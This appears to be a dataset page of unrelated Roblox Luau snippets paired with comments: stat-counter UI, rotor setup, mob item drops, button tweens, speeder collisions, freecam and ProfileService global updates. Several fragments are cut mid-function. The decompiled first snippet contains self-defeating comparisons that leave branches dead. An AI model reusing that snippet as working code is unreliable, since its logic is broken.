local v8 = Instance.new("IntValue");
v8.Name = v7.Name .. "Val";
v8.Parent = v7;
v8.Value = 0;
local u1 = require(v7);
local u2 = 0;
local u3 = script.Parent:FindFirstChild(v7.Name);
local function v9(p1)
if p1 ~= nil then
p1 = tonumber(p1);
else
p1 = u1.value;
end;
if type(p1) ~= "number" then
return;
end;
if v5() == "console" then
script.Parent.UIScale.Scale = 1.5;
end;
if not u2 then
return;
end;
u2 = p1;
u3.Size = UDim2.new(0, l__TextService__3:GetTextSize(tostring(p1), 40, "Oswald", Vector2.new(999, 999)).X, 1.5, 0);
u3.TextSize = 40;
if u2 < p1 then
u3.TextColor3 = u3:GetAttribute("FadeIncrease");
u3.SoundIncrease:Play();
elseif p1 < u2 then
u3.TextColor3 = u3:GetAttribute("FadeDecrease");
u3.SoundDecrease:Play();
if v7.Name == "Boosts" then
script.Parent.BoostActive.Visible = true;
u3.Visible = false;
end;
end;
l__TweenService__2:Create(u3, TweenInfo.new(0.7, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), {
Size = UDim2.new(0, l__TextService__3:GetTextSize(tostring(p1), 30, "Oswald", Vector2.new(999, 999)).X, 1, 0),
TextSize = 30,
TextColor3 = Color3.new(1, 1, 1)
}):Play();
l__TweenService__2:Create(u3, TweenInfo.new(0.7, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), {
TextColor3 = Color3.new(1, 1, 1)
}):Play();
l__TweenService__2:Create(v8, TweenInfo.new(0.4, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Value = tonumber(p1)
}):Play();
if p1 <= 0 then
task.delay(0.4, function()
u3.Visible = false;
end);
else
u3.Visible = true;
task.delay(0.41, function()
u3.Visible = true;
end);
end;
if v7.Name == "Boosts" and p1 < u2 then
script.Parent.BoostActive.Visible = true;
task.delay(0.5, function()
u3.Visible = false;
end);
end;
end;
v8.Changed:Connect(function(p2)
u3.Text = v4(p2);
end);
if v7.Name == "Gold" then
local u4 = tick();
game:GetService("ReplicatedStorage"):WaitForChild("Bricks"):WaitForChild("GetGold").OnClientEvent:Connect(function(p3)
u4 = tick() + 0.5;
local v10, v11 = workspace.CurrentCamera:WorldToScreenPoint(p3);
local v12 = script.Parent.Parent.Gold:Clone();
v12.Visible = true;
v12.Name = "GoldLive";
v12.Position = UDim2.new(0, v10.X, 0, v10.Y);
v12.Parent = script.Parent.Parent;
game.Debris:AddItem(v12, 0.5);
u3.Visible = true;
local l__AbsolutePosition__13 = u3.Icon.AbsolutePosition;
local l__AbsoluteSize__14 = u3.Icon.AbsoluteSize;
l__TweenService__2:Create(v12, TweenInfo.new(0.5, Enum.EasingStyle.Quart, Enum.EasingDirection.In), {
Size = UDim2.new(0, l__AbsoluteSize__14.X, 0, l__AbsoluteSize__14.Y),
Position = UDim2.new(0, l__AbsolutePosition__13.X + l__AbsoluteSize__14.X / 2, 0, l__AbsolutePosition__13.Y + l__AbsoluteSize__14.Y / 2)
}):Play();
end);
u1.event.Event:Connect(function(p4)
task.wait(0.2);
task.wait((math.max(u4 - tick(), 0)));
if u4 ~= u4 then
return;
end;
v9();
end);
else
u1.event.Event:Connect(v9);
end;
v9();
end;
|
--// Variables
|
local L_1_ = script.Parent
local L_2_ = L_1_.Parent.Parent
local L_3_ = L_2_:WaitForChild('Required')
local L_4_ = L_2_:WaitForChild('BodyKit')
local L_5_ = L_2_:WaitForChild('Networking')
local L_6_ = L_2_:WaitForChild('Vals')
local L_7_ = L_6_:WaitForChild('Owner')
local L_8_ = require(L_2_:WaitForChild('Modules'):WaitForChild('Config_Module'))
local L_9_ = L_3_:WaitForChild('Rotor')
local L_10_
if L_3_:FindFirstChild('Rotor2') then
L_10_ = L_3_.Rotor2
end
local L_11_ = L_9_:WaitForChild('Top'):WaitForChild('Rotor')
local L_12_ = L_9_:WaitForChild('Bottom'):WaitForChild('Rotor')
local L_13_
local L_14_
if L_10_ then
L_13_ = L_10_:WaitForChild('Top'):WaitForChild('Rotor')
L_14_ = L_10_:WaitForChild('Bottom'):WaitForChild('Rotor')
end
local L_15_
local L_16_, L_17_
local L_18_ = false
local L_19_ = L_2_:WaitForChild('FX')
local L_20_ = game.ReplicatedStorage:FindFirstChild('[WB] Leaderstat Network') or nil
local L_21_ = {
L_2_
}
|
--Put this script in a mob to make it drop item. Don't forget to enable this script!
|
local item = Game.ReplicatedStorage.ITEMS:FindFirstChild(script.Item.Value):Clone()
local Humanoid = script.Parent.Human
function PwntX_X()
local tag = Humanoid:FindFirstChild("creator")
if tag ~= nil then
if tag.Value ~= nil then
if math.random(1, 100) <= script.DropChance.Value then
local Leaderstats = tag.Value:FindFirstChild("StarterGear")
local ll = tag.Value:FindFirstChild("Backpack")
if Leaderstats ~= nil and ll~= nil then
if script.KeptOnDeath.Value == true then
item:Clone().Parent = Leaderstats
item:Clone().Parent = ll
else
item:Clone().Parent = ll
end
wait(0.1)
script:Remove()
end
end
end
end
end
Humanoid.Died:connect(PwntX_X)
|
--Wheelie tune
|
local WheelieD = 2
local WheelieTq = 85
local WheelieP = 10
local WheelieMultiplier = 1.5
local WheelieDivider = 2
|
-- Set up the click event handlers for each button
|
for _, button in ipairs(dock:GetChildren()) do
if button:IsA("ImageButton") then
button.MouseButton1Click:Connect(function()
-- Create the jump tween
local Click = script.Click
local jumpTweenInfo = TweenInfo.new(jumpDuration, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
local jumpTween = game:GetService("TweenService"):Create(button, jumpTweenInfo, {
Size = UDim2.new(button.Size.X.Scale * jumpScale, button.Size.X.Offset,
button.Size.Y.Scale * jumpScale, button.Size.Y.Offset),
Position = UDim2.new(button.Position.X.Scale - ((jumpScale - 1) / 2),
button.Position.X.Offset, button.Position.Y.Scale - ((jumpScale - 1) / 2),
button.Position.Y.Offset)
})
-- Play the jump tween
jumpTween:Play()
Click:Play()
-- Reset the button's size and position after the jump is complete
jumpTween.Completed:Connect(function()
button.Size = UDim2.new(button.Size.X.Scale / jumpScale, button.Size.X.Offset,
button.Size.Y.Scale / jumpScale, button.Size.Y.Offset)
button.Position = UDim2.new(button.Position.X.Scale + ((jumpScale - 1) / 2),
button.Position.X.Offset, button.Position.Y.Scale + ((jumpScale - 1) / 2),
button.Position.Y.Offset)
end)
end)
end
end
|
-- Sets the mass of the specified part by adjusting its density so that all
-- speeders will have the same mass (using static _DENSITY and _VOLUME)
|
local function SetMass(part)
local volume = part.Size.X * part.Size.Y * part.Size.Z
local newDensity = _DENSITY * _VOLUME / volume
-- Defaults except newDensity (density, friction, elasticity)
part.CustomPhysicalProperties = PhysicalProperties.new(newDensity, 0.3, 0.5)
end -- SetMass()
local function HandleCollision(collidedPart, part, self)
local RaceTrack = workspace:FindFirstChild("Racetrack")
local EnvironmentAssets = workspace:FindFirstChild("Environment Assets")
local Plants = EnvironmentAssets:FindFirstChild("Plants")
if not collidedPart:IsDescendantOf(self.speeder) and not collidedPart:IsDescendantOf(RaceTrack)
and not collidedPart:IsDescendantOf(Plants) and not (collidedPart == workspace.SpeederSpawnLocation) then
-- Create particle effect
local particle = Explosion:Clone()
particle.CFrame = part.CFrame
particle.Parent = workspace
character:Destroy()
ExplosionSound:Play()
local planeGui = PlayerGui:FindFirstChild("DesktopGui") or
PlayerGui:FindFirstChild("ConsoleGui") or
PlayerGui:FindFirstChild("MobileGui")
if planeGui then
planeGui.Enabled = false
end
local emitterChildren = particle:GetChildren()
for _, child in pairs(emitterChildren) do
-- If the child is a particle, then cause it to emit
if child:IsA("ParticleEmitter") then
child:Emit(10)
end
end
-- Destroy particle after PARTICLE_DURATION seconds
spawn(function()
wait(PARTICLE_DURATION)
particle:Destroy()
end)
-- Convert speeder to player
spawn(function()
wait(2)
PlayerConverter:SpeederToPlayer(false)
end)
end
end -- handleCollisions()
local function SetupCollisionDetection(parent, self)
for _,part in pairs(parent:GetChildren()) do
if (part:IsA("BasePart") or part:IsA("MeshPart")) and part.Name ~= "Head" and
part.Name ~= "UpperTorso" and part.Name ~= "Arrow" then
part.Touched:Connect(function(collidedPart) HandleCollision(collidedPart, part, self) end)
SetupCollisionDetection(part, self)
end
end
end -- setupCollisionDetection()
|
------------------------------------------------
|
local function EnterFreecam()
ToggleGui(false)
--UIS.MouseIconEnabled = false
Maid:Mark(UIS.InputBegan:Connect(function(input, processed)
if input.UserInputType == Enum.UserInputType.MouseButton2 then
UIS.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
local conn = UIS.InputChanged:Connect(Panned)
repeat
input = UIS.InputEnded:wait()
until input.UserInputType == Enum.UserInputType.MouseButton2 or not freeCamEnabled
panDeltaMouse = Vector2.new()
panDeltaGamepad = Vector2.new()
conn:Disconnect()
if freeCamEnabled then
UIS.MouseBehavior = Enum.MouseBehavior.Default
end
elseif input.KeyCode == Enum.KeyCode.LeftShift or input.KeyCode == Enum.KeyCode.RightShift then
SpeedModifier = 0.5
end
end))
Maid:Mark(UIS.InputEnded:Connect(function(input, processed)
if input.KeyCode == Enum.KeyCode.LeftShift or input.KeyCode == Enum.KeyCode.RightShift then
SpeedModifier = 1
end
end))
camera.CameraType = Enum.CameraType.Scriptable
local hum, hrp = GetChar()
if hrp then
hrp.Anchored = true
end
if hum then
hum.WalkSpeed = 0
Maid:Mark(hum.Jumping:Connect(function(active)
if active then
hum.Jumping = false
end
end))
end
velSpring.t, velSpring.v, velSpring.x = Vector3.new(), Vector3.new(), Vector3.new()
rotSpring.t, rotSpring.v, rotSpring.x = Vector2.new(), Vector2.new(), Vector2.new()
fovSpring.t, fovSpring.v, fovSpring.x = camera.FieldOfView, 0, camera.FieldOfView
local camCFrame = camera.CFrame
local lookVector = camCFrame.lookVector.unit
stateRot = Vector2.new(
math.asin(lookVector.y),
math.atan2(-lookVector.z, lookVector.x) - math.pi/2
)
panDeltaMouse = Vector2.new()
local playerGui = player:WaitForChild("PlayerGui")
for _, obj in next, playerGui:GetChildren() do
if obj:IsA("ScreenGui") and obj.Enabled then
obj.Enabled = false
screenGuis[obj] = true
end
end
if LETTERBOX then
letterbox.Enabled = true
end
RS:BindToRenderStep("Freecam", Enum.RenderPriority.Camera.Value, UpdateFreecam)
freeCamEnabled = true
end
local function ExitFreecam()
freeCamEnabled = false
if LETTERBOX then
letterbox.Enabled = false
end
--UIS.MouseIconEnabled = true
UIS.MouseBehavior = Enum.MouseBehavior.Default
Maid:Sweep()
RS:UnbindFromRenderStep("Freecam")
local hum, hrp = GetChar()
if hum then
hum.WalkSpeed = 16
end
if hrp then
hrp.Anchored = false
end
camera.FieldOfView = DEF_FOV
camera.CameraType = Enum.CameraType.Custom
for obj in next, screenGuis do
obj.Enabled = true
end
screenGuis = {}
ToggleGui(true)
end
script.Parent.RightFrame.Button.Activated:Connect(function()
task.wait(0.05)
if Debounce then
script.Parent.RightFrame.Button.Point:TweenPosition(UDim2.new(0.07, 0,0.108, 0), Enum.EasingDirection.InOut, Enum.EasingStyle.Linear, 0.15)
TweenService:Create(script.Parent.RightFrame.Button, TweenInfo.new(0.35, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {
BackgroundColor3 = Color3.fromRGB(95, 95, 95)
}):Play()
ExitFreecam()
Debounce = not Debounce
else
script.Parent.RightFrame.Button.Point:TweenPosition(UDim2.new(0.57, 0,0.108, 0), Enum.EasingDirection.InOut, Enum.EasingStyle.Linear, 0.15)
TweenService:Create(script.Parent.RightFrame.Button, TweenInfo.new(0.35, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {
BackgroundColor3 = Color3.fromRGB(255, 85, 0)
}):Play()
EnterFreecam()
Players.LocalPlayer.PlayerGui.ContentCreator.Enabled = true
Debounce = not Debounce
end
end)
|
-- ONLY WHEN FROM "Profile.GlobalUpdates":
|
function GlobalUpdates:ListenToNewActiveUpdate(listener) --> [ScriptConnection] listener(update_id, update_data)
if type(listener) ~= "function" then
error("[ProfileService]: Only a function can be set as listener in GlobalUpdates:ListenToNewActiveUpdate()")
end
local profile = self._profile
if self._update_handler_mode == true then
error("[ProfileService]: Can't listen to new global updates in ProfileStore:GlobalUpdateProfileAsync()")
elseif self._new_active_update_listeners == nil then
error("[ProfileService]: Can't listen to new global updates in view mode")
elseif profile:IsActive() == false then -- Check if profile is expired
return { -- Do not connect listener if the profile is expired
Disconnect = function() end,
}
end
-- Connect listener:
return self._new_active_update_listeners:Connect(listener)
end
function GlobalUpdates:ListenToNewLockedUpdate(listener) --> [ScriptConnection] listener(update_id, update_data)
if type(listener) ~= "function" then
error("[ProfileService]: Only a function can be set as listener in GlobalUpdates:ListenToNewLockedUpdate()")
end
local profile = self._profile
if self._update_handler_mode == true then
error("[ProfileService]: Can't listen to new global updates in ProfileStore:GlobalUpdateProfileAsync()")
elseif self._new_locked_update_listeners == nil then
error("[ProfileService]: Can't listen to new global updates in view mode")
elseif profile:IsActive() == false then -- Check if profile is expired
return { -- Do not connect listener if the profile is expired
Disconnect = function() end,
}
end
-- Connect listener:
return self._new_locked_update_listeners:Connect(listener)
end
function GlobalUpdates:LockActiveUpdate(update_id)
if type(update_id) ~= "number" then
error("[ProfileService]: Invalid update_id")
end
local profile = self._profile
if self._update_handler_mode == true then
error("[ProfileService]: Can't lock active global updates in ProfileStore:GlobalUpdateProfileAsync()")
elseif self._pending_update_lock == nil then
error("[ProfileService]: Can't lock active global updates in view mode")
elseif profile:IsActive() == false then -- Check if profile is expired
error("[ProfileService]: PROFILE EXPIRED - Can't lock active global updates")
end
-- Check if global update exists with given update_id
local global_update_exists = nil
for _, global_update in ipairs(self._updates_latest[2]) do
if global_update[1] == update_id then
global_update_exists = global_update
break
end
end
if global_update_exists ~= nil then
local is_pending_lock = false
for _, lock_update_id in ipairs(self._pending_update_lock) do
if update_id == lock_update_id then
is_pending_lock = true -- Exclude global updates pending to be locked
break
end
end
if is_pending_lock == false and global_update_exists[3] == false then -- Avoid id duplicates in _pending_update_lock
table.insert(self._pending_update_lock, update_id)
end
else
error("[ProfileService]: Passed non-existant update_id")
end
end
function GlobalUpdates:ClearLockedUpdate(update_id)
if type(update_id) ~= "number" then
error("[ProfileService]: Invalid update_id")
end
local profile = self._profile
if self._update_handler_mode == true then
error("[ProfileService]: Can't clear locked global updates in ProfileStore:GlobalUpdateProfileAsync()")
elseif self._pending_update_clear == nil then
error("[ProfileService]: Can't clear locked global updates in view mode")
elseif profile:IsActive() == false then -- Check if profile is expired
error("[ProfileService]: PROFILE EXPIRED - Can't clear locked global updates")
end
-- Check if global update exists with given update_id
local global_update_exists = nil
for _, global_update in ipairs(self._updates_latest[2]) do
if global_update[1] == update_id then
global_update_exists = global_update
break
end
end
if global_update_exists ~= nil then
local is_pending_clear = false
for _, clear_update_id in ipairs(self._pending_update_clear) do
if update_id == clear_update_id then
is_pending_clear = true -- Exclude global updates pending to be cleared
break
end
end
if is_pending_clear == false and global_update_exists[3] == true then -- Avoid id duplicates in _pending_update_clear
table.insert(self._pending_update_clear, update_id)
end
else
error("[ProfileService]: Passed non-existant update_id")
end
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.